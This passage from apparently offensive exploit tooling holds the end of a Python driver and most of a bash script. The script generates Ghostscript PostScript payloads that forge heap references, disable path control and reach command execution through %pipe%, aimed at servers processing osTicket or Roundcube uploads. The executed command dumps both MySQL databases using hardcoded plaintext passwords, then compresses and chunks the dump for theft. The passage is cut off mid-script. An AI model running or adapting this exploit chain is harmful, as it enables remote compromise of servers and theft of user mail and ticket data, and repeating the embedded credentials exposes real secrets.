        "--osticket-cookie", type=Path, default=Path("/tmp/ost.cidmap.133.cookie")
    )
    parser.add_argument(
        "--payload-generator",
        type=Path,
        default=Path("/tmp/CVE-2026-22200/osticket_ticket_payload_gen.py"),
    )
    parser.add_argument("--victim-delta", type=int, default=-33096)
    parser.add_argument("--path-scan-offset", type=lambda value: int(value, 0), default=0x2000C)
    parser.add_argument("--expected-heap-size", type=lambda value: int(value, 0), default=0x41F000)
    parser.add_argument("--pid-window", type=int, default=36)
    parser.add_argument(
        "--resume-baseline",
        type=int,
        help="skip cleanup/baseline reads and batch status/maps after this known PID",
    )
    parser.add_argument("--gs-start-delay", type=float, default=3.0)
    parser.add_argument("--calibration-wait", type=float, default=2.0)
    parser.add_argument("--trigger-timeout", type=int, default=300)
    parser.add_argument("--pointer-timeout", type=int, default=240)
    parser.add_argument("--response-wait", type=int, default=20)
    parser.add_argument("--marker-checks", type=int, default=1)
    parser.add_argument("--osticket-timeout", type=int, default=60)
    parser.add_argument("--ticket-cooldown", type=float, default=8.0)
    parser.add_argument("--thumbnail-delay", type=float, default=5.0)
    parser.add_argument("--diagnostics", action="store_true")
    parser.add_argument(
        "--output",
        type=Path,
        default=WORKSPACE / "loot" / "trustfall-heap-rce",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    if args.attempts < 1:
        raise SystemExit("--attempts must be positive")
    if args.marker_checks < 1:
        raise SystemExit("--marker-checks must be positive")
    if args.osticket_timeout < 1:
        raise SystemExit("--osticket-timeout must be positive")
    if args.ticket_cooldown < 0 or args.thumbnail_delay < 0:
        raise SystemExit("cooldown values cannot be negative")
    if not args.payload_generator.is_file():
        raise SystemExit(f"payload generator not found: {args.payload_generator}")
    build_payload(args)
    root = args.output / f"run-{stamp()}"
    root.mkdir(parents=True, exist_ok=True)
    log(f"artifacts={root}")

    for attempt in range(1, args.attempts + 1):
        try:
            if run_attempt(attempt, args, root):
                return 0
        except KeyboardInterrupt:
            raise
        except Exception as error:
            log(f"attempt {attempt} failed: {type(error).__name__}: {error}")
        if attempt < args.attempts:
            log("retrying after a short cooldown")
            time.sleep(3)
    log("RCE marker was not established")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

probes/build_cidmap_opvp_forge.sh

#!/usr/bin/env bash
set -euo pipefail

probe_dir=$(cd "$(dirname "$0")" && pwd)
library="$probe_dir/cidmap_opvp_marker.so"
mode=${1:-calibrate}
victim_delta=${2:-0}
victim_index=${3:-0}
pointer_tag=${TRUSTFALL_POINTER_TAG:-}
if [[ ! "$pointer_tag" =~ ^[-A-Za-z0-9._]*$ ]]; then
    printf 'invalid TRUSTFALL_POINTER_TAG: %s\n' "$pointer_tag" >&2
    exit 2
fi
pointer1="/tmp/trustfall-opvp-pointer${pointer_tag}"
pointer2="/tmp/trustfall-opvp-pointer2${pointer_tag}"
forge_index="/tmp/trustfall-forge-index${pointer_tag}"
scan_diag="/tmp/trustfall-path-scan${pointer_tag}"
progress_diag="/tmp/trustfall-pipe-progress${pointer_tag}"
pipe_marker="/tmp/trustfall-pipe-rce${pointer_tag}"
db_dump="/tmp/trustfall-mysql-dump${pointer_tag}.sql"
db_archive="/tmp/trustfall-mysql-dump${pointer_tag}.sql.gz"
db_chunk_prefix="/tmp/trustfall-dbchunk${pointer_tag}-"
db_manifest="/tmp/trustfall-dbmanifest${pointer_tag}.txt"
opvp_library="/tmp/trustfall-cidmap-opvp${pointer_tag}.so"
payload="$probe_dir/ghostscript-cidmap-opvp-forge-${mode}${pointer_tag}.eps"

if [[ "$mode" != calibrate && "$mode" != leak && "$mode" != dump && "$mode" != scan && "$mode" != exploit && "$mode" != livescan && "$mode" != liveexploit && "$mode" != liveijs && "$mode" != liveijsauto && "$mode" != livepipeauto && "$mode" != liveopvpdirect ]]; then
    printf 'usage: %s [calibrate|leak|dump|scan|exploit|livescan|liveexploit|liveijs|liveijsauto|livepipeauto|liveopvpdirect] [victim-pointer-delta] [victim-index]\n' "$0" >&2
    exit 2
fi

gcc -nostdlib -shared -fPIC -fno-stack-protector -O2 -Wall -Wextra \
    -Wl,--build-id=none -DMARKER_PATH=\"$pipe_marker\" \
    -o "$library" "$probe_dir/cidmap_opvp_marker.c"

{
    printf '%%!PS-Adobe-3.0 EPSF-3.0\n'
    printf '%%%%BoundingBox: 0 0 10000 72\n'
    printf '/methods /CIDFont /Category findresource /.PreprocessRecord get 0 get 3 get 3 get def\n'
    printf '/fillop methods /MakeInstance get 7 get 9 get 71 get 2 get 22 get def\n'
    if [[ "$mode" == livescan || "$mode" == liveexploit || "$mode" == liveijs || "$mode" == liveijsauto || "$mode" == livepipeauto || "$mode" == liveopvpdirect ]]; then
        # Live calibration tolerates this allocation, so preserve the real
        # ImageMagick renderer before the target successfully selects OPVP.
        printf '/origdev currentdevice def\n'
    fi
    printf 'mark { << /OutputDevice /opvp >> setpagedevice } stopped cleartomark\n'
    # devicedict entries are [device null] pairs.  Slot 1 is bookkeeping and
    # is explicitly nulled by setpagedevice; the live gx_device is slot 0.
    printf '/opdev devicedict /opvp get 0 get def\n'
    # Allocate the victim and backing consecutively so their relative layout
    # does not depend on later interpreter/name allocations.
    printf '/victim 2048 array def\n'
    printf '/pads 512 array def 0 1 511 { pads exch 64 string put } for\n'
    printf '/backing 64 string def\n'
    printf '0 1 63 { /i exch def backing i i 73 mul 41 add 255 and put } for\n'
    printf '/window backing 16 16 getinterval def\n'
    # A large run of adjacent refs is deterministic and gives the forge many
    # valid pointer slots even if the allocator shifts the array as a whole.
    printf '0 1 2047 { victim exch window put } for\n'
    if [[ "$mode" != livescan && "$mode" != liveexploit && "$mode" != liveijs && "$mode" != liveijsauto && "$mode" != livepipeauto && "$mode" != liveopvpdirect ]]; then
        # Fixed-layout modes cannot afford an allocation before victim/backing.
        printf '/origdev currentdevice def\n'
    fi

    if [[ "$mode" == calibrate ]]; then
        printf '{} loop\n'
    else
        if [[ "$mode" == exploit || "$mode" == liveexploit || "$mode" == livepipeauto || "$mode" == liveopvpdirect ]]; then
            printf '/lib (%s) (w) file def\n' "$opvp_library"
            while IFS= read -r hex; do
                printf 'lib <%s> writestring\n' "$hex"
            done < <(xxd -p -c 1024 "$library")
            printf 'lib closefile\n'
        fi
        # Wait for four byte-swapped 16-bit words.  Exact modes receive the
        # path-control address directly; live modes first receive a readable
        # ELF header so they can discover the victim ref in this process.
        printf '/cfg (%s) def\n' "$pointer1"
        # Do not treat mere existence as readiness: writers create/truncate
        # the file before its one-line pointer has reached disk.
        printf '{ cfg status { /created exch def /referenced exch def /bytes exch def /pages exch def bytes 12 ge { exit } if } if } loop\n'
        printf 'cfg (r) file /cf exch def\n'
        for n in 0 1 2 3; do
            printf 'cf token pop /w%s exch def\n' "$n"
        done
        printf 'cf closefile\n'
        printf '/poke { /cid exch def /value exch def '
        printf '/a 256 array def 0 1 255 { a exch 0 put } for '
        printf 'a cid 256 mod 999 put /d 1 dict def d cid 256 idiv a put '
        printf '/t 1 dict def t 999 value put d t [] 2 [window] fillop } def\n'
        if [[ "$mode" == livescan || "$mode" == liveexploit || "$mode" == liveijs || "$mode" == liveijsauto || "$mode" == livepipeauto || "$mode" == liveopvpdirect ]]; then
            # Allocate all structures needed for the second pointer rewrite
            # before forging any victim ref.  Allocating them afterwards can
            # trigger a GC that treats the forged string pointer as managed
            # VM and corrupts the interpreter dictionary.
            for n in 0 1 2 3; do
                printf '/cid%s 0 def /pa%s 256 array def 0 1 255 { pa%s exch 0 put } for\n' "$n" "$n" "$n"
                printf '/pd%s 1 dict def /pt%s 1 dict def pt%s 999 0 put\n' "$n" "$n" "$n"
                printf '/poke%s { pt%s 999 3 -1 roll put pd%s pt%s [] 2 [window] fillop } def\n' "$n" "$n" "$n" "$n"
            done
            # The allocations above can trigger a GC.  Re-read the first
            # pointer words afterwards so their dictionary entries are from
            # the stable post-allocation state.
            printf 'cfg (r) file /cf exch def\n'
            for n in 0 1 2 3; do
                printf 'cf token pop /w%s exch def\n' "$n"
            done
            printf 'cf closefile\n'
            # Calibrate the exact victim ref in this process.  The array may
            # move by 0x8000 between ImageMagick/Ghostscript invocations, but
            # its offset modulo 0x8000 is stable.
            printf '/hit -1 def /foundcid 0 def /founddelta 0 def {\n'
            for k in 0 -1 1 -2 2 -3 3 -4 4 -5 5 -6 6 -7 7 -8 8 -9 9 -10 10 -11 11 -12 12; do
                candidate=$((victim_delta + k * 32768))
                if (( candidate < 0 )); then
                    candidate_cid=$(( (4294967296 + candidate) / 2 ))
                else
                    candidate_cid=$(( candidate / 2 ))
                fi
                for n in 0 1 2 3; do
                    printf 'w%s %s poke\n' "$n" "$((candidate_cid + n))"
                done
                printf '0 1 2047 { /j exch def victim j get dup 0 get 127 eq '
                printf '{ pop /hit j def /foundcid %s def /founddelta %s def stop } { pop } ifelse } for\n' "$candidate_cid" "$candidate"
            done
            printf '} stopped pop\n'
            # Calibration leaves the selected victim ref pointing at the ELF
            # probe.  Restore it before any file/device allocations; the
            # prebuilt poke dictionaries re-forge the same slot for pointer2.
            printf '0 1 2047 { victim exch window put } for\n'
            printf '/mf (%s) (w) file def ' "$forge_index"
            printf 'mf founddelta 32 string cvs writestring mf ( ) writestring '
            # Pad the readiness record because mPDF returns HTTP 500 for the
            # original 11-byte file on this target.
            printf 'mf hit 32 string cvs writestring '
            printf 'mf (                                                                \\n) writestring mf closefile\n'
            for n in 0 1 2 3; do
                printf '/cid%s foundcid %s add def pa%s cid%s 256 mod 999 put pd%s cid%s 256 idiv pa%s put\n' "$n" "$n" "$n" "$n" "$n" "$n" "$n"
            done
            # A distinct second config avoids a delete/recreate race.
            if [[ "$mode" == livepipeauto || "$mode" == liveopvpdirect ]]; then
                if [[ "$mode" == livepipeauto ]]; then
                    # Reuse the already-created calibration file for stage
                    # state without perturbing the direct exploit path.
                    printf '/stagepath (%s) def /stage { /sm exch def /st stagepath (w) file def ' "$forge_index"
                    printf 'st sm writestring st (                                                                \\n) writestring st closefile } def\n'
                    printf '(cfg2-wait) stage\n'
                fi
                # Allocate every object and dictionary slot used by the
                # corruption phase before the victim ref is forged.
                printf '/a0 256 array def 0 1 255 { a0 exch 0 put } for a0 0 999 put\n'
                printf '/d0 1 dict def d0 0 a0 put /t0 1 dict def t0 999 0 put\n'
                printf '/sw { dup 256 mod 256 mul exch 256 idiv add } def\n'
                printf '/p0 0 def /p1 0 def /p2 0 def /p3 0 def /scanstate 0 def /foundoff -1 def '
                printf '/rmax 0 def /rnum 0 def /wmax 0 def /wnum 0 def /cmax 0 def /cnum 0 def '
                printf '/iter 0 def /s 16 string def /mx 0 def /nu 0 def\n'
            fi
            printf '/cfg2 (%s) def\n' "$pointer2"
            printf '{ cfg2 status { /created exch def /referenced exch def /bytes exch def /pages exch def bytes 12 ge { exit } if } if } loop\n'
            printf 'cfg2 (r) file /cf exch def\n'
            for n in 0 1 2 3; do
                printf 'cf token pop /w%s exch def\n' "$n"
            done
            printf 'cf closefile\n'
            if [[ "$mode" == livepipeauto ]]; then
                printf '(cfg2-read) stage\n'
            fi
            for n in 0 1 2 3; do
                printf 'w%s poke%s\n' "$n" "$n"
            done
            if [[ "$mode" == livepipeauto ]]; then
                printf '(pointer-forged) stage\n'
            fi
            if [[ "$mode" == liveopvpdirect ]]; then
                printf '/foundoff 0 def /rmax 32 def /rnum 23 def /wmax 4 def /wnum 4 def /cmax 4 def /cnum 3 def\n'
            fi

            if [[ "$mode" == liveijsauto || "$mode" == livepipeauto ]]; then
                # Pointer2 is the aligned scan base heap+0x2000c, not an
                # assumed core address.  Match the complete core signature:
                # CPSI/scanconverter/UEL immediately before active, the three
                # read/write/control sets, and the following filesystem
                # pointer.  This rejects the unrelated look-alike accepted by
                # the old four-window heuristic.
                if [[ "$mode" == liveijsauto ]]; then
                    printf '/sw { dup 256 mod 256 mul exch 256 idiv add } def\n'
                fi
                printf '/p0 w0 sw def /p1 w1 sw def /p2 w2 sw def /p3 w3 sw def\n'
                # Begin one 16-byte window before the supplied scan base.
                printf '/p0 p0 16 sub def p0 0 lt { /p0 p0 65536 add def /p1 p1 1 sub def '
                printf 'p1 0 lt { /p1 65535 def /p2 p2 1 sub def p2 sw poke2 } if p1 sw poke1 } if p0 sw poke0\n'
                printf '/scanstate 0 def /foundoff -1 def /rmax 0 def /rnum 0 def '
                printf '/wmax 0 def /wnum 0 def /cmax 0 def /cnum 0 def {\n'
                printf '0 1 16383 { /iter exch def /s victim hit get def\n'
                printf 'scanstate 0 eq {\n'
                printf 's 4 get 0 eq s 5 get 0 eq and s 6 get 0 eq and s 7 get 0 eq and '
                printf 's 8 get 1 eq and s 9 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and '
                printf 's 12 get 0 eq and s 13 get 0 eq and s 14 get 0 eq and s 15 get 0 eq and '
                printf '{ /scanstate 1 def } if\n'
                printf '} { scanstate 1 eq {\n'
                printf '/mx s 4 get s 5 get 256 mul add def /nu s 8 get s 9 get 256 mul add def '
                printf 's 0 get 1 eq s 1 get 0 eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf 's 6 get 0 eq and s 7 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and '
                printf 'mx 4 eq mx 8 eq or mx 16 eq or mx 32 eq or mx 64 eq or mx 128 eq or and '
                printf 'nu 0 gt and nu mx le and '
                printf '{ /scanstate 2 def /foundoff iter 1 sub 16 mul def /rmax mx def /rnum nu def } '
                printf '{ /scanstate 0 def /foundoff -1 def } ifelse\n'
                printf '} { scanstate 2 eq {\n'
                printf '/mx s 4 get s 5 get 256 mul add def /nu s 8 get s 9 get 256 mul add def '
                printf 's 0 get p2 256 mod eq s 1 get p2 256 idiv eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf 's 6 get 0 eq and s 7 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and '
                printf 'mx 4 eq mx 8 eq or mx 16 eq or mx 32 eq or mx 64 eq or mx 128 eq or and '
                printf 'nu 0 gt and nu mx le and '
                printf '{ /scanstate 3 def /wmax mx def /wnum nu def } { /scanstate 0 def /foundoff -1 def } ifelse\n'
                printf '} { scanstate 3 eq {\n'
                printf '/mx s 4 get s 5 get 256 mul add def /nu s 8 get s 9 get 256 mul add def '
                printf 's 0 get p2 256 mod eq s 1 get p2 256 idiv eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf 's 6 get 0 eq and s 7 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and '
                printf 'mx 4 eq mx 8 eq or mx 16 eq or mx 32 eq or mx 64 eq or mx 128 eq or and '
                printf 'nu 0 gt and nu mx le and '
                printf '{ /scanstate 4 def /cmax mx def /cnum nu def } { /scanstate 0 def /foundoff -1 def } ifelse\n'
                printf '} { s 0 get p2 256 mod eq s 1 get p2 256 idiv eq and '
                printf 's 2 get 0 eq and s 3 get 0 eq and '
                printf 's 8 get p2 256 mod eq and s 9 get p2 256 idiv eq and '
                printf 's 10 get 0 eq and s 11 get 0 eq and { stop } '
                printf '{ /scanstate 0 def /foundoff -1 def } ifelse } ifelse } ifelse } ifelse } ifelse\n'
                printf '/p0 p0 16 add def p0 65535 gt { /p0 p0 65536 sub def /p1 p1 1 add def '
                printf 'p1 65535 gt { /p1 0 def /p2 p2 1 add def p2 sw poke2 } if p1 sw poke1 } if p0 sw poke0\n'
                printf '} for } stopped pop\n'
                # Some ImageMagick launch paths replace the filesystem object
                # and core-mode fields even though the permission arrays keep
                # their characteristic cardinalities.  If the full signature
                # missed, rescan from the supplied base for the two observed
                # correlated layouts: standalone 32/22,4/3,4/2 and delegated
                # 32/23,4/4,4/3.  Requiring all three adjacent sets and their
                # heap-pointer continuations avoids the old loose look-alike.
                printf 'foundoff -1 eq {\n'
                printf '/p0 w0 sw def /p1 w1 sw def /p2 w2 sw def /p3 w3 sw def '
                printf 'p3 sw poke3 p2 sw poke2 p1 sw poke1 p0 sw poke0\n'
                printf '/scanstate 0 def /rnum 0 def { 0 1 16383 { /iter exch def /s victim hit get def\n'
                printf 'scanstate 0 eq { /mx s 4 get s 5 get 256 mul add def /nu s 8 get s 9 get 256 mul add def '
                printf 's 0 get 1 eq s 1 get 0 eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf 's 6 get 0 eq and s 7 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and '
                printf 'mx 32 eq and nu 22 eq nu 23 eq or and '
                printf '{ /scanstate 1 def /foundoff iter 16 mul def /rmax mx def /rnum nu def } if '
                printf '} { scanstate 1 eq { /mx s 4 get s 5 get 256 mul add def /nu s 8 get s 9 get 256 mul add def '
                printf 's 0 get p2 256 mod eq s 1 get p2 256 idiv eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf 's 6 get 0 eq and s 7 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and mx 4 eq and '
                printf 'rnum 22 eq nu 3 eq and rnum 23 eq nu 4 eq and or and '
                printf '{ /scanstate 2 def /wmax mx def /wnum nu def } { /scanstate 0 def /foundoff -1 def } ifelse '
                printf '} { scanstate 2 eq { /mx s 4 get s 5 get 256 mul add def /nu s 8 get s 9 get 256 mul add def '
                printf 's 0 get p2 256 mod eq s 1 get p2 256 idiv eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf 's 6 get 0 eq and s 7 get 0 eq and s 10 get 0 eq and s 11 get 0 eq and mx 4 eq and '
                printf 'rnum 22 eq nu 2 eq and rnum 23 eq nu 3 eq and or and '
                printf '{ /scanstate 3 def /cmax mx def /cnum nu def } { /scanstate 0 def /foundoff -1 def } ifelse '
                printf '} { s 0 get p2 256 mod eq s 1 get p2 256 idiv eq and s 2 get 0 eq and s 3 get 0 eq and '
                printf '{ stop } { /scanstate 0 def /foundoff -1 def } ifelse } ifelse } ifelse } ifelse\n'
                printf '/p0 p0 16 add def p0 65535 gt { /p0 p0 65536 sub def /p1 p1 1 add def '
                printf 'p1 65535 gt { /p1 0 def /p2 p2 1 add def p2 sw poke2 } if p1 sw poke1 } if p0 sw poke0\n'
                printf '} for } stopped pop } if\n'
                # A match stops with the forged string at candidate+48.
                printf '/p0 p0 48 sub def p0 0 lt { /p0 p0 65536 add def /p1 p1 1 sub def '
                printf 'p1 0 lt { /p1 65535 def /p2 p2 1 sub def p2 sw poke2 } if p1 sw poke1 } if '
                printf 'p0 sw poke0\n'
                if [[ "$mode" == liveijsauto ]]; then
                    printf 'foundoff -1 eq { /df (/tmp/trustfall-ijs-diag%s) (w) file def ' "$pointer_tag"
                    printf 'df (path-scan: missing                                                \\n) writestring df closefile /trustfall_path_scan_miss load } if\n'
                    printf '/sf (%s) (w) file def ' "$scan_diag"
                    printf 'sf foundoff 32 string cvs writestring sf ( ) writestring '
                    printf 'sf rmax 16 string cvs writestring sf (/) writestring sf rnum 16 string cvs writestring sf ( ) writestring '
                    printf 'sf wmax 16 string cvs writestring sf (/) writestring sf wnum 16 string cvs writestring sf ( ) writestring '
                    printf 'sf cmax 16 string cvs writestring sf (/) writestring sf cnum 16 string cvs writestring '
                    printf 'sf (                                                                \\n) writestring sf closefile\n'
                fi
            fi

            if [[ "$mode" == livepipeauto ]]; then
                printf '(scan-finished) stage\n'
            fi

            if [[ "$mode" == livescan ]]; then
                printf '/sw { dup 256 mod 256 mul exch 256 idiv add } def\n'
                printf '/p0 w0 sw def /p1 w1 sw def /p2 w2 sw def /p3 w3 sw def\n'
                printf '/of (/tmp/trustfall-core-candidates) (w) file def\n'
                printf '0 1 262143 { /iter exch def /s victim hit get def /match true def '
                printf 's 0 get 1 ne { /match false def } if '
                printf '1 1 3 { s exch get 0 ne { /match false def } if } for '
                printf '/mx s 4 get s 5 get 256 mul add def '
                printf 's 6 get 0 ne s 7 get 0 ne or { /match false def } if '
                printf 'mx 4 eq mx 8 eq or mx 16 eq or mx 32 eq or mx 64 eq or not { /match false def } if '
                printf '/nu s 8 get s 9 get 256 mul add def '
                printf 's 10 get 0 ne s 11 get 0 ne or { /match false def } if '
                printf 'nu 0 le nu mx gt or { /match false def } if '
                printf 'match { of iter 16 mul 12 add 32 string cvs writestring of ( ) writestring } if '
                printf '/p0 p0 16 add def p0 65535 gt { /p0 p0 65536 sub def /p1 p1 1 add def '
                printf 'p1 65535 gt { /p1 0 def /p2 p2 1 add def p2 sw poke2 } if p1 sw poke1 } if p0 sw poke0 } for\n'
                printf 'of closefile showpage\n%%%%EOF\n'
                exit 0
            fi

            if [[ "$mode" != livepipeauto && "$mode" != liveopvpdirect ]]; then
                printf '/a0 256 array def 0 1 255 { a0 exch 0 put } for a0 0 999 put\n'
                printf '/d0 1 dict def d0 0 a0 put /t0 1 dict def t0 999 0 put\n'
            else
                # A miss must restore the forged VM ref before diagnostics.
                printf 'foundoff -1 eq { victim hit window put '
                printf '/df (/tmp/trustfall-ijs-diag%s) (w) file def ' "$pointer_tag"
                printf 'df (path-scan: missing                                                \\n) writestring df closefile '
                printf '(scan-missing) stage /trustfall_path_scan_miss load } if\n'
            fi
            if [[ "$mode" == livepipeauto ]]; then
                printf '(underwrite-start) stage\n'
            fi
            printf 'd0 t0 [] 2 victim hit 1 getinterval fillop\n'
            printf 'victim hit window put\n'
            if [[ "$mode" == livepipeauto || "$mode" == liveopvpdirect ]]; then
                # path_control_active is now zero.  The pipe backend reaches
                # popen(3) directly and supplies a compact command-execution
                # proof without another device or plugin chain.
                if [[ "$mode" == livepipeauto ]]; then
                    printf '(underwrite-done) stage\n'
                fi
                printf '/sf (%s) (w) file def ' "$scan_diag"
                printf 'sf foundoff 32 string cvs writestring sf ( ) writestring '
                printf 'sf rmax 16 string cvs writestring sf (/) writestring sf rnum 16 string cvs writestring sf ( ) writestring '
                printf 'sf wmax 16 string cvs writestring sf (/) writestring sf wnum 16 string cvs writestring sf ( ) writestring '
                printf 'sf cmax 16 string cvs writestring sf (/) writestring sf cnum 16 string cvs writestring '
                printf 'sf (                                                                \\n) writestring sf closefile\n'
                printf '/pipeerr /none def { '
                printf '(%%pipe%%/usr/bin/id > %s; /usr/bin/printf RCE-CONFIRMED-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX >> %s; ' "$pipe_marker" "$pipe_marker"
                printf '/usr/bin/mysqldump --hex-blob --user=roundcubemail_db_user --password=i7x9J5LQhk1A --databases roundcubemail_db > %s 2>&1; ' "$db_dump"
                printf '/usr/bin/mysqldump --hex-blob --user=osticket_user --password=2b28NNPcTAnZ --databases osticket >> %s 2>&1; ' "$db_dump"
                printf '/usr/bin/gzip -9 -c %s > %s; ' "$db_dump" "$db_archive"
                printf '/usr/bin/split -b 30000 -d -a 3 %s %s; ' "$db_archive" "$db_chunk_prefix"
                printf '/usr/bin/sha256sum %s > %s; /usr/bin/wc -c %s %s >> %s; ' "$db_archive" "$db_manifest" "$db_dump" "$db_archive" "$db_manifest"
                printf '/usr/bin/ls -1 %s* >> %s; /usr/bin/printf XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX >> %s) (r) file closefile ' "$db_chunk_prefix" "$db_manifest" "$db_manifest"
                printf '} stopped { /pipeerr $error /errorname get def } if clear\n'
                if [[ "$mode" == livepipeauto ]]; then
                    printf '(pipe-returned) stage\n'
                fi
                printf 'showpage\n%%%%EOF\n'
                exit 0
            fi
            if [[ "$mode" == liveijs || "$mode" == liveijsauto ]]; then
                printf '/df (/tmp/trustfall-ijs-diag) (w) file def\n'
                printf 'df (calibration: ) writestring df founddelta 32 string cvs writestring '
                printf 'df ( ) writestring df hit 32 string cvs writestring df (\\n) writestring\n'
                if [[ "$mode" == liveijsauto ]]; then
                    printf 'df (path-scan-offset: ) writestring df foundoff 32 string cvs writestring df (\\n) writestring\n'
                fi
                printf '/stageerr /none def { << /OutputDevice /ijs >> setpagedevice } '
                printf 'stopped { /stageerr $error /errorname get def } if clear\n'
                printf 'df (ijs-stage: ) writestring df stageerr 64 string cvs writestring df (\\n) writestring\n'
                printf '/ijsdev devicedict /ijs get 1 get def\n'
                printf '/putok false def /puterr /none def { ijsdev null true mark '
                printf '/IjsServer (/usr/bin/id > /tmp/trustfall-cidmap-ijs-rce) '
                printf '.putdeviceparamsonly pop pop /putok true def } '
                printf 'stopped { /puterr $error /errorname get def } if clear\n'
                printf 'putok { df (ijs-params: ok\\n) writestring } '
                printf '{ df (ijs-params: ) writestring df puterr 64 string cvs writestring df (\\n) writestring } ifelse\n'
                printf '/ijsok false def /ijserr /none def { ijsdev setdevice /ijsok true def } '
                printf 'stopped { /ijserr $error /errorname get def } if clear\n'
                printf 'ijsok { df (ijs-open: ok\\n) writestring } '
                printf '{ df (ijs-open: ) writestring df ijserr 64 string cvs writestring df (\\n) writestring } ifelse\n'
                printf 'df closefile showpage\n%%%%EOF\n'
                exit 0
            fi
            printf '/df (/tmp/trustfall-opvp-diag) (w) file def\n'
            printf 'df (calibration: ) writestring df founddelta 32 string cvs writestring '
            printf 'df ( ) writestring df hit 32 string cvs writestring df (\\n) writestring\n'
            printf 'df (flag-after: ) writestring /fs victim hit get def '
            printf '0 1 15 { fs exch get 8 string cvs df exch writestring df ( ) writestring } for df (\\n) writestring\n'
            # A failed open leaves finddevice's fresh mutable copy in slot 1.
            # Configure that closed copy with the real driver and open it.
            printf 'df (strategy: failed-open-then-real-driver\\n) writestring df closefile\n'
            printf '/df (/tmp/trustfall-opvp-diag2) (w) file def\n'
            printf '/awayok false def /awayerr /none def { origdev setdevice /awayok true def } stopped '
            printf '{ /awayerr $error /errorname get def } if clear\n'
            printf 'awayok { df (switch-away: ok\\n) writestring } '
            printf '{ df (switch-away: ) writestring df awayerr 64 string cvs writestring df (\\n) writestring } ifelse\n'
            printf '/failerr /none def { << /OutputDevice /opvp /Driver (/tmp/trustfall-no-such-driver.so) >> setpagedevice } '
            printf 'stopped { /failerr $error /errorname get def } if clear\n'
            printf 'df (staging-open: ) writestring df failerr 64 string cvs writestring df (\\n) writestring\n'
            printf '/opdev devicedict /opvp get 1 get def\n'
            printf '/putok false def /puterr /none def { opdev null true mark /Driver (/tmp/trustfall-cidmap-opvp.so) '
            printf '.putdeviceparamsonly pop pop /putok true def } stopped { /puterr $error /errorname get def } if clear\n'
            printf 'putok { df (closed-copy-params: ok\\n) writestring } '
            printf '{ df (closed-copy-params: ) writestring df puterr 64 string cvs writestring df (\\n) writestring } ifelse\n'
            printf '/setok false def /seterr /none def { opdev setdevice /setok true def } stopped '
            printf '{ /seterr $error /errorname get def } if clear\n'
            printf 'setok { df (real-open: ok\\n) writestring } '
            printf '{ df (real-open: ) writestring df seterr 64 string cvs writestring df (\\n) writestring } ifelse df closefile\n'
            printf 'showpage\n%%%%EOF\n'
            exit 0
        fi
        if [[ "$mode" == leak ]]; then
            printf '{\n'
            for k in {-8..8}; do
                candidate=$((victim_delta + k * 32768))
                if (( candidate < 0 )); then
                    candidate_cid=$(( (4294967296 + candidate) / 2 ))
                else
                    candidate_cid=$(( candidate / 2 ))
                fi
                for n in 0 1 2 3; do
                    printf 'w%s %s poke\n' "$n" "$((candidate_cid + n))"
                done
                printf '/hit -1 def 0 1 2047 { /j exch def victim j get dup 0 get 127 eq '
                printf '{ pop /hit j def exit } { pop } ifelse } for\n'
                printf 'hit -1 ne { '
                printf '/lf (/tmp/trustfall-forge-leak) (w) file def lf victim hit get writestring lf closefile '
                printf '/mf (/tmp/trustfall-forge-index) (w) file def mf (%s ) writestring ' "$candidate"
                printf 'mf hit 32 string cvs writestring mf closefile stop } if\n'
            done
            printf '} stopped pop\n'
        else
            if (( victim_delta < 0 )); then
                victim_cid=$(( (4294967296 + victim_delta) / 2 ))
            else
                victim_cid=$(( victim_delta / 2 ))
            fi
            for n in 0 1 2 3; do
                printf 'w%s %s poke\n' "$n" "$((victim_cid + n))"
            done
            if [[ "$mode" == dump ]]; then
                printf '/lf (/tmp/trustfall-forge-dump) (w) file def '
                printf 'lf victim %s get writestring lf closefile\n' "$victim_index"
                printf 'showpage\n'
                printf '%%%%EOF\n'
                exit 0
            fi
            if [[ "$mode" == scan ]]; then
                for n in 0 1 2 3; do
                    cid=$((victim_cid + n))
                    index=$((cid / 256))
                    slot=$((cid % 256))
                    printf '/pa%s 256 array def 0 1 255 { pa%s exch 0 put } for pa%s %s 999 put\n' "$n" "$n" "$n" "$slot"
                    printf '/pd%s 1 dict def pd%s %s pa%s put /pt%s 1 dict def\n' "$n" "$n" "$index" "$n" "$n"
                    printf '/poke%s { pt%s 999 3 -1 roll put pd%s pt%s [] 2 [window] fillop } def\n' "$n" "$n" "$n" "$n"
                done
                printf '/sw { dup 256 mod 256 mul exch 256 idiv add } def\n'
                printf '/p0 w0 sw def /p1 w1 sw def /p2 w2 sw def /p3 w3 sw def\n'
                printf '/of (/tmp/trustfall-core-candidates) (w) file def\n'
                # The core context is an early allocator object.  Start the
                # supplied pointer at heap+0x2000c and cover the next 256 KiB;
                # this keeps the remote thumbnail request comfortably short.
                printf '0 1 16383 { /iter exch def /s victim %s get def /match true def ' "$victim_index"
                # Point the scan at path_control_active itself (heap offset
                # 0x2000c modulo the scan base).  Avoid assumptions about
                # CPSI/scanconverter/UEL and validate the following
                # gs_path_control_set_t instead: active=1, a small
                # power-of-two capacity, and 0 < num <= max.
                printf 's 0 get 1 ne { /match false def } if '
                printf '1 1 3 { s exch get 0 ne { /match false def } if } for '
                printf '/mx s 4 get s 5 get 256 mul add def '
                printf 's 6 get 0 ne s 7 get 0 ne or { /match false def } if '
                printf 'mx 4 eq mx 8 eq or mx 16 eq or mx 32 eq or mx 64 eq or not { /match false def } if '
                printf '/nu s 8 get s 9 get 256 mul add def '
                printf 's 10 get 0 ne s 11 get 0 ne or { /match false def } if '
                printf 'nu 0 le nu mx gt or { /match false def } if '
